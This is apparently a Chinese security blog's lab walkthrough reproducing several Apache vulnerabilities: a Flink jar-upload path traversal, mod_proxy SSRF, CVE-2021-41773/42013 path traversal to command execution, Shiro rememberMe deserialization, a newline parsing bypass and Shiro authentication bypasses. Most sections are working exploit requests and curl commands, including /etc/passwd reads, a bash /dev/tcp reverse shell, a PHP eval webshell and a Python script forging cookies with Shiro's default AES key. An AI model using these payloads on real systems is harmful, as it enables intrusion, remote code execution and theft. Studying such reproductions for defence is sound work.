在 Apache Flink 中,一个”作业”(Job)是指一个由一个或多个数据流转换操作组成的数据处理流程。这个流程通常是用户编写的代码,用于在分布式环境中执行数据处理任务。作业描述了数据的输入、转换操作以及输出。它包含了以下部分

1
2
3
4
5
6
7
8
9
数据源(Source):作业通常从一个或多个数据源获取输入数据。数据源可以是文件、消息队列、套接字等。 

转换操作(Transformation):这些操作对输入数据进行处理,可以是诸如映射、过滤、分组、聚合等操作。

数据汇(Sink):作业将处理后的数据发送到一个或多个数据汇,数据汇可以是文件、数据库、消息队列等。

并行度(Parallelism):作业可以在集群的多个计算节点上并行执行,通过指定并行度,您可以控制作业的分布式执行方式。

检查点(Checkpointing):Flink 支持状态检查点,以便在发生故障时恢复作业状态。

漏洞利用条件

1.5.1<=Apache Flink<=1.11.2

复现

访问目标机的8081端口,从面板可以看到Apache flink版本为1.11.2,符合漏洞要求

利用方法就是发送一个post的包,模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /jars/upload HTTP/1.1
Host: 靶机ip:端口
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="写入文件的绝对路径"

你想写入的内容
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /jars/upload HTTP/1.1
Host: 192.168.10.129:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/liberator"

liberator
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

可以看到写入成功,老样子,我们还是连接镜像内部的shell,来检验文件是否写入

1
docker exec -i e1ceeb97b6f9 /bin/bash

可以看到文件写入成功

CVE-2021-40438(Apache server mod_proxy的SSRF漏洞)

apache的服务就不说了,天天用.其中mod_proxy模块是用于反向代理的模块,它允许将客户端请求代理到另一个服务器上。反向代理的概念是客户端将请求发送给一个服务器,但实际上请求会被代理服务器转发到另一个目标服务器上,然后将目标服务器的响应返回给客户端。 使用mod_proxy模块时,需要在Apache的配置文件中进行相应的配置。以下是一个简单的示例配置:

1
2
3
4
5
6
7
8
9
apacheCopy codeLoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

<VirtualHost *:80>
  ServerName example.com

  ProxyPass / http://backend-server/
  ProxyPassReverse / http://backend-server/
</VirtualHost>

上述配置中,ProxyPass将所有对example.com的请求代理到backend-server上,并且ProxyPassReverse用于修改响应中的Location头,确保响应正确返回给客户端。 mod_proxy模块存在一处逻辑错误导致攻击者可以控制反向代理服务器的地址,进而导致SSRF漏洞。

漏洞利用条件为apache v2.4.48 及以下版本 漏洞复现

复现

先访问一下服务,docker ps可以看到服务开在了8080端口.这里访问可以看到一个Apache Tomcat的示例页面,此时Apache HTTP Server是以中间反代服务器的身份,运行在客户端(用户)和后端服务器(Tomcat)之间,Apache和Tomcat通过AJP协议进行通信。

1
2
3
AJP(Apache JServ Protocol)协议是一种用于连接Web服务器(如Apache HTTP Server)与Java应用服务器(如
Tomcat)之间的协议。它被设计用于在Web服务器和应用服务器之间进行高效的通信,以便将HTTP请求从Web服务器传递到应用
服务器,并将应用服务器生成的响应传递回Web服务器,最终返回给客户端。

使用发包就可以达到目的,发包示例如下

1
2
3
4
5
6
7
GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://www.baidu.com/ HTTP/1.1
Host: 192.168.10.129:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

可以看到成功出现302跳转

CVE-2021-41773(Apache HTTP Server路径穿越漏洞)

在其2.4.49版本中,引入了一个路径穿越漏洞,这个漏洞有两种利用方式,在严格情况下可以实现任意文件读取(一般web服务器也不是拿root运行的,就只能读非root文件了),如果开启了cgi或cgid,可以实现rce

在 Apache HTTP Server 中,CGI(Common Gateway Interface)和 CGID(CGI Daemon)是用于处理动态内容的机制。它们允许 Web 服务器与外部程序(通常是脚本或可执行文件)进行交互,生成动态的 Web 页面内容。CGI 机制允许将用户的请求传递给一个外部脚本或程序,然后将该程序的输出作为响应返回给客户端。

要使用 CGI 或 CGID,你需要编写一个符合 CGI 协议的程序或脚本,该程序会接收请求参数,处理请求并生成响应。然后,你需要在 Apache HTTP Server 的配置中启用 CGI 或 CGID 模块,并将请求映射到你编写的 CGI 程序或脚本。 在 Apache 的配置文件中,使用类似以下的配置来启用 CGI 模块并将请求映射到某个目录下的 CGI 脚本:

1
2
3
4
5
6
apacheCopy codeLoadModule cgi_module modules/mod_cgi.so

<Directory "/path/to/cgi/scripts">
  Options +ExecCGI
  AddHandler cgi-script .cgi .pl
</Directory>

在这个示例中,LoadModule行启用了 CGI 模块, 部分指定了 CGI 脚本所在的目录,并通过 Options +ExecCGI和AddHandler 配置来告诉 Apache 如何处理 CGI 脚本。 然后,你可以在指定的目录下编写 CGI 脚本(如 Perl、Python 等脚本),当客户端请求访问这些脚本时,Apache 会将请求传递给相应的 CGI 程序,然后将生成的响应返回给客户端。 这个漏洞的利用条件是版本等于2.4.49,如果需要打rce,则需要穿越的目录允许被访问,比如配置了Require all granted(默认情况下是不允许的)

1
2
3
4
5
6
在Apache HTTP Server(通常称为Apache)的配置中,Require all granted 是一个用于控制访问权限的配置指令。它用
于声明对特定资源或路径的访问是允许的,即所有请求都被授予访问权限。

具体来说,Require all granted 是在Apache的访问控制配置块(例如 <Directory> 或 <Location> 块)中使用的,用
于指定所有用户都被授予对该目录或位置的访问权限。这意味着任何用户都可以访问这个目录或位置的内容,而不受进一步的
访问控制限制。

复现

这个环境就遇到一定的问题,我们直接在windows浏览器里访问不了

我们回到虚拟机ping一下主机

发现是可以ping通的

那我们尝试用nmap扫一下存活端口

8080整了一个filtered,给拦截了

这里不想进容器改了,直接上poc

1
2
curl -v --path-as-is http://靶机IP和端口/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
curl -v --data "echo;你要执行的命令" 'http://靶机IP和端口/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

CVE-2021-42013(Apache HTTP Server路径穿越漏洞)

Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复,但这个修复并不完整

攻击者依旧可以读取Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,也可以在开启了cgi或者cgid的服务器上执行任意命令

漏洞利用条件是Apache HTTP Server2.4.49以及2.4.50两个版本

复现

可以看到这下子成功开启了页面服务

既然和41773这个CVE类似,我们就尝试一下41773的poc

1
curl -v --path-as-is http://192.168.10.129:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

发现失败了,但是我们上面说过42013对漏洞的修复并不完整,我们将%2e再次进行编码(%%32%65)

1
2
curl -v --path-as-is http://192.168.10.129:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/
.%%32%65/.%%32%65/etc/passwd

可以看到读取成功,但是除了读取,还可以尝试进行rce,这里就不试41773的poc了,直接使用二次编码的

1
curl -v --data "echo;ls" 'http://192.168.10.129:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

可以看到命令执行成功

那我们尝试一下反弹shell

1
2
3
nc -lvnp 8888
curl -v --data "echo;bash -i >& /dev/tcp/192.168.10.129/8888 0>&1" 'http://192.168.1.103:8080/cgi-
bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

这样子直接反弹失败了,看了教程才想起可以将命令写入文件,然后再执行

1
2
3
curl -v --data "echo;echo 'bash -i >& /dev/tcp/192.168.10.129/8888 0>&1'>> /tmp/shell.sh" 
'http://192.168.10.129:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65
/.%%32%65/.%%32%65/bin/sh'

然后再用cat读取文件

1
2
curl -v --data "echo;cat /tmp/shell.sh" 'http://192.168.10.129:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65
/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

可以看到文件内容写入成功,下一步就是执行

1
2
curl -v --data "echo;bash /tmp/shell.sh" 'http://192.168.10.129:8080/cgi-
bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

反弹shell成功,看来以后得试试写入文件执行来反弹shell

CVE-2016-4437(Apache shiro反序列化漏洞复现)

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。它独立于任何容器或框架,所以可以搭配别的组件使用,包括以下功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
身份验证(Authentication):Shiro 可以处理用户身份验证,包括用户名/密码验证、多因素身份验证、记住我功能等。它
支持灵活的身份验证方式,并提供了可插拔的身份验证机制,使开发人员能够适应各种身份验证需求。

授权(Authorization):Shiro 具有细粒度的授权机制,允许开发人员定义角色和权限,并在应用程序中对用户进行授权操
作。通过简单的注解或编程方式,开发人员可以轻松地控制用户对资源的访问权限。

会话管理(Session Management):Shiro 管理用户会话,包括会话的创建、销毁、过期和检索等。它提供了灵活的会话存
储机制,并支持集中式和分布式环境下的会话管理。

密码加密(Cryptography):Shiro 可以帮助开发人员安全地处理用户密码,提供了常用的加密算法和密码哈希功能。这有助
于保护用户密码,并提供额外的安全性。

Web 支持:Shiro 针对 Web 应用程序提供了特定的支持,包括集成框架(如 Apache Struts 和 Spring MVC)、基于过滤
器的安全控制、Web 会话管理等。这使得在 Web 环境中使用 Shiro 更加方便和高效。

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户信息加密,加密过程:用户信息=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。如果用户勾选记住密码,那么在请求中会携带cookie,并且将加密信息存放在cookie的rememberMe字段里面,在服务端收到请求对rememberMe值,先base64解码然后AES解密再反序列化,这个加密过程如果我们知道AES加密的密钥,那么我们把用户信息替换成恶意命令,就导致了反序列化RCE漏洞。在shiro版本<=1.2.4中使用了默认密钥kPH+bIxk5D2deZiIxcaaaA==,这就更容易触发RCE漏洞。

所以我们payload的产生过程是:

命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

漏洞验证

1.未登录的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
2.登录失败的话,不管有没有勾选RememberMe字段,返回包都会有 rememberMe= deleteMe 字段
3.不勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有RememberMe字段
4.勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段,还会有remember 字段,之后的所有请求中Cookie都会有rememberMe字段
5.或者可以在cookie后面自己加一个rememberMe=1,看返回包有没有rememberMe= deleteMe

复现

法1

这里我们就使用专门针对java反序列化的工具:ysoserial

先进行下载

1
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

这里还需要一段生成payload的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import sys
import uuid
import base64
from Crypto.Cipher import AES

def encode_rememberme():
f = open('poc.ser','rb')
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(f.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme()
print("rememberMe={0}".format(payload.decode()))

使用ysoserial生成CommonsBeanutils1的Gadget:

1
java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "touch /tmp/liberator" > poc.ser

Gadget 是指在 Java 序列化漏洞利用中使用的特定类或对象。攻击者可以构造特定的序列化数据,通过利用目标应用程序中的反序列化过程中的漏洞,触发 Gadget 的执行从而执行恶意代码。Gadget 通常是由一系列利用链构成的,其中一个 Gadget 可能依赖于另一个 Gadget 的执行结果。Gadget 的目的是利用目标系统中存在的弱点,例如不安全的反序列化实现,最终达到远程代码执行的目的。

CommonsBeanutils1是Apache Commons Beanutils 库的一个旧版本,其中存在一个已知的 Java 序列化漏洞。该漏洞可以被恶意利用来执行远程代码,可能导致远程代码执行漏洞(Remote Code Execution Vulnerability)

这个漏洞的本质就是1.2.4及以前版本的shiro的RememberMe功能存在rce可以执行反序列化漏洞,并且这个功能使用了具有反序列化漏洞的CommonsBeanutils1,可以使用CommonsBeanutils1的链子来触发反序列化攻击

然后再用python脚本生成payload:

1
python3 poc.py

再将生成的payload填入抓到的请求包里就成功写入了

法2

使用工具,工具地址:https://github.com/j1anFen/shiro_attack

爆破出密钥

再点击爆破利用链,得到链子为CommonsBeanutils1

可进行命令执行

这里执行内存码,执行之后用蚁剑进行连接,发现蚁剑连接的返回数据为空,这里就尝试使用冰蝎,因为冰蝎也是AES加密,执行流量加密之后难以被检测(这里发生一个小错误,内存马类型用什么连接就应该用什么内存马类型,下面就改成冰蝎了)

冰蝎地址:https://github.com/rebeyond/Behinder/releases/tag/Behinder_v3.0_Beta_11

所以就使用冰蝎进行连接,右键新增输入shiro工具的url和密码,进行连接

好,shell连接成功

CVE-2017-15715(Apache HTTPd换行解析漏洞)

  • 我们通常所说的Apache HTTP Server,通常指的是整个软件包,它包括了HTTP服务器的核心功能、模块化架构、配置文件、运行时环境等。Apache HTTP Server 提供了完整的 Web 服务器解决方案,可以用于托管和提供网站内容。
  • 而 httpd 则是 Apache HTTP Server 的具体可执行程序的名称(通常在 Unix/Linux 系统上)。通过运行 httpd守护进程,Apache HTTP Server 开始监听指定的端口(例如默认的80端口),接收来自客户端的HTTP请求,并根据配置文件进行相应的处理和响应。
  • httpd可以通过mod_php来运行PHP网页。其存在一个解析漏洞,在解析PHP时,如1.php0x0A将被按照1.php进行解析,导致绕过一些服务器的安全策略。
  • mod_php 是 Apache 的一个模块,它允许将 PHP 解释器嵌入到 Apache 的进程中,并通过该模块将 PHP 代码集成到 Apache 的请求处理流程中。当 Apache 收到一个包含 PHP 代码的网页请求时,mod_php 模块负责解析该请求,将 PHP 代码交给 PHP 解释器进行解释执行,然后将执行结果返回给客户端浏览器。

除了mod_php之外,还存在其他方式来运行PHP网页,以下是一些常见的替代方法:

1
2
3
4
5
6
7
8
1. PHP-FPM(PHP FastCGI Process Manager):PHP-FPM 是一个独立的进程管理器,通过 FastCGI 协议与 Web 服务器
(例如 Apache 或 Nginx)进行通信。PHP-FPM 可以独立于 Web 服务器运行,提供更高的性能和灵活性。

2. CGI(Common Gateway Interface):CGI 是一种标准的 Web 服务器和应用程序之间的接口协议。通过将 PHP 解释器
作为 CGI 程序来运行 PHP 网页,Web 服务器可以通过 CGI 协议与 PHP 解释器进行通信并执行 PHP 代码。

3. FastCGI:FastCGI 是一种改进的 CGI 协议,它使用长连接和进程池的方式提高了性能。类似于 CGI,FastCGI 可以将
PHP 解释器作为独立的进程来运行 PHP 网页,并通过协议与 Web 服务器进行通信。

此漏洞利用条件为apache版本在2.4.0-2.4.29

复现

可以看到是一个文件上传界面,上传上去的文件会被改一个名字,我们随便上传一个木马文件,文件内容:

1
<?php @eval($_POST['cmd']);?>

上传失败,将文件后缀改成双写php或者大小写交替都不行,那么就试试将文件后缀改为txt

上传成功,说明过滤的是php后缀,根据这个漏洞,1.php0X0A(16进制的0X0A)和1.php具有相同效果,所以可以抓包在文件名后面插一个16进制 因为burpsuit的16进制

编辑器不能插入只能修改,所以提前在evil.php的后面加一个空格,然后把空格对应的0d改成0a就可以了

然后连接shell

shell连接成功

CVE-2010-3863(Apache Shiro认证绕过漏洞)

由于CVE-2016-4437也是关于Apache Shiro的,所以这里就不再对于基础服务做介绍了

  • Apache Shiro在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。
  • “Spring动态控制器”指的是基于 Spring 框架的控制器(Controller),它们负责处理 Web 请求并返回相应的响应。Spring MVC 是一个常见的 Web 应用程序框架,提供了一种声明式的方式来定义和处理控制器。
  • 在用户访问路径的时候会经过以下步骤:
1
2
3
4
5
1. 用户发送请求。
2. 请求到达路由,路由根据配置的规则将请求分派给相应的控制器。
3. 控制器接收请求并处理业务逻辑。
4. 控制器生成响应数据。
5. 响应数据返回给用户。
  • 路由也是在 Web 框架中实现的,但它是用来配置和管理请求的映射规则。路由定义了请求的路径和对应的处理器(可能是控制器),以便框架能够将请求分派给正确的处理程序。
  • 路由确定了用户请求应该被传递给哪个控制器进行处理。路由的配置规则定义了请求的 URL 或路径与相应控制器之间的映射关系。通过路由配置,Web 框架能够将特定的请求路由到正确的控制器。
  • 控制器负责接收用户请求并处理相关的业务逻辑。当用户发送请求时,路由将请求分派给相应的控制器,控制器根据请求的内容进行处理,并生成适当的响应数据。
  • 控制器通常是在 Web 框架(如Spring MVC、Express.js等)中作为对象或类进行实现。控制器通过定义请求映射(Request Mapping)来监听特定的 URL 或路由,从而接收用户的请求。控制器可以包含多个方法,每个方法处理不同的请求。

漏洞利用条件是Apache Shiro版本在1.1.0以前

复现

对于shrio有许多拦截器

1
2
3
4
5
6
7
8
9
10
11
AuthenticationInterceptor:用于验证用户身份信息,确保用户已经通过身份验证。如果用户未通过身份验证,则该拦截器
将重定向或返回错误响应。

AuthorizationInterceptor:用于验证用户是否具有执行特定操作或访问资源所需的权限。如果用户没有足够的权限,则该
拦截器可能会阻止用户访问受限资源或执行敏感操作。

SessionValidationInterceptor:负责验证用户会话的有效性。它检查用户的会话是否过期或被篡改,并采取相应的措施,
如重新验证用户身份或要求用户重新登录。

LogoutInterceptor:用于处理用户登出操作。该拦截器可能会清除用户的会话信息、注销用户身份验证状态或执行其他与用
户登出相关的操作。

用户可以在Shiro.ini编写匹配URL配置,将会拦截匹配的URL,并执行响应的拦截器。从而实现对URL的访问控制,URL路径表达式通常为ANT格式。如下配置,访问 /index.html主页的时候,Shiro将不会对其进行登录判断,anon拦截器不需要登录就能进行访问。而对于/user/xiaoming 等 /user/xiaogang等接口,authc拦截器将会对其进行登录判断,有登录认证才能访问资源。

在最早的另一个漏洞中,*表示匹配零个或多个字符串,/可以匹配/hello,但匹配不到/hello/因为通配符无法匹配路径。

如果我们给/hello链接设置了拦截器,访问/hello将会被进行权限判断,如果请求的URI为/hello/呢,/*URL路径表达式将无法正确匹配,放行。然后进入到spring(Servlet)拦截器,spring中/hello形式和/hello/形式的URL访问的资源是一样的。那么就实现了没有登录就越权访问了/hello目录

直接请求管理页面/admin/,无法访问,将会被重定向到根目录

1
2
3
4
5
6
7
8
9
GET /admin HTTP/1.1
Host: 192.168.10.129:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en;q=0.3,en-US;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

构造恶意请求/./admin,即可绕过权限校验,访问到管理页面

1
2
3
4
5
6
7
8
9
GET /./admin HTTP/1.1
Host: 192.168.10.129:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en;q=0.3,en-US;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

CVE-2020-1957(Apache Shiro认证绕过漏洞)

还是shiro框架,就不对服务做介绍了

复现

先访问一下web页面

在CVE-2010-3863中我们得知

1
2
3
4
5
6
7
8
9
10
11
用户可以在Shiro.ini编写匹配URL配置,将会拦截匹配的URL,并执行响应的拦截器。从而实现对URL的访问控制,URL路径表
达式通常为ANT格式。如下配置,访问 /index.html主页的时候,Shiro将不会对其进行登录判断,anon拦截器不需要登录就
能进行访问。而对于/user/xiaoming 等 /user/xiaogang等接口,authc拦截器将会对其进行登录判断,有登录认证才能访
问资源。

在最早的另一个漏洞中,\*表示匹配零个或多个字符串,/\*可以匹配/hello,但匹配不到/hello/因为\*通配符无法匹配路
径。

如果我们给/hello链接设置了拦截器,访问/hello将会被进行权限判断,如果请求的URI为/hello/呢,/*URL路径表达式将无
法正确匹配,放行。然后进入到spring(Servlet)拦截器,spring中/hello形式和/hello/形式的URL访问的资源是一样的。
那么就实现了没有登录就越权访问了/hello目录

